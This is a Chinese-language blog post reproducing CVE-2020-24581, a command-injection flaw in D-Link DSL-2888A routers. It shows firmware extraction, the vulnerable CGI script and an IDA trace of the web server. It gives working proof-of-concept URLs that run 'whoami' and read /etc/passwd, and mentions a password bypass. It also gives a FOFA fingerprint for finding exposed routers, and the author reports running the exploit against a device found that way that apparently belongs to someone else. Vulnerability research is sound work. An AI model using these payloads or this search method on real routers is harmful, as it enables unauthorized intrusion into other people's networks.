D-Link DSL-2888A 远程命令执行漏洞分析

漏洞编号:CVE-2020-24581

漏洞描述:

D-Link DSL-2888A AU_2.31_V1.1.47ae55之前版本存在安全漏洞,该漏洞源于包含一个execute cmd.cgi特性(不能通过web用户界面访问),该特性允许经过身份验证的用户执行操作系统命令。
在该版本固件中同时存在着一个不安全认证漏洞(CVE-2020-24580),在登录界面输入任意密码就可以成功访问路由器界面。
通过组合这两个漏洞可以实现未授权的任意代码执行

复现所需要的固件下载链接:下载

第一次复现漏洞,这是路由器的官方页面

CVE漏洞复现/image-20251007124200913

下载完固件后打开ubuntu用binwalk来提取文件

1
binwalk -Me vuln.bin  # 我这里是固件重命名了看着方便

解压之后可以看到是jffs2文件系统(日志闪存文件系统)

CVE漏洞复现/image-20251007124027735

CVE漏洞复现/image-20251007123448160

POC:

http://DeviceIP/cgi-bin/execute_cmd.cgi?timestamp = 1589333279490&cmd = whami

http://IP/cgi-bin/execute_cmd.cgi?timestamp=test&cmd=cat%20/etc/passwd

根据execute cmd.cgi文件漏洞特性定位到这里

CVE漏洞复现/image-20251007125423483

我们可以查看一下内部的shell语句,变量 ${cmd} 的内容是直接从 **QUERY_STRING**(通常是 CGI/Web 请求的 URL 参数)中获取的,并且 未经任何充分的过滤或验证就被直接作为系统命令执行了。

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
. /usr/syscfg/api_log.sh
cmd=`echo ${QUERY_STRING} | cut -d = -f 3`
cmd=`echo ${cmd} |tr "%20" " "`

result=`${cmd}` #ÔËÐÐÃüÁî
TGP_Log ${TGP_LOG_WARNING} "cmd=${cmd}, result=${result}"

echo "Content-type: text/html"
echo ""
echo -n ${result}

既然需要网页才可以触发这个execute cmd.cgi文件的命令,那就需要了从什么位置传入的的指令,首先从**/etc/rc.d/rcS**找到dhttpd,这是一款轻量级的 HTTP 服务器

CVE漏洞复现/image-20251007130737309

然后我们找到/usr/sbin/dhttpd路径下的dhttpd文件,将其放入ida分析

搜索关键字符串cgi-bin交叉引用可以定位到关键函数sub_BEA0,CVE漏洞复现/image-20251007132022944

接着往下看可以发现函数调用了sub_BB5C函数,里面使用了execve函数来执行,下面的puts也进一步验证了cgi组件执行的地方就是在这里。因此登录设备之后,就可以执行任意的cgi-bin中的文件,对文件没有做任何限制。

CVE漏洞复现/image-20251007132403397

从上面的分析得出可以直接在网页中构造恶意代码,我们没有现成的设备,但是可以使用fofa来复现

fofa指纹: body=”DSL-2888A” && server==”uhttpd”

CVE漏洞复现/image-20251007135104922

这里可以看到输入错误密码后,会重定向到http://xxxx/login.html?error=fail这个路径

CVE漏洞复现/image-20251007132948678

接着我们在输入POC :

1
http://xxx/cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=whoami

可以看到成功执行了指令

CVE漏洞复现/image-20251007135758686

参考文章:CVE-2020-24581 D-Link DSL-2888A 远程命令执行漏洞分析-安全KER - 安全资讯平台

D-Link DSL-2888A 远程命令执行漏洞(CVE-2020-24581/24579)_cve-2020-24580-CSDN博客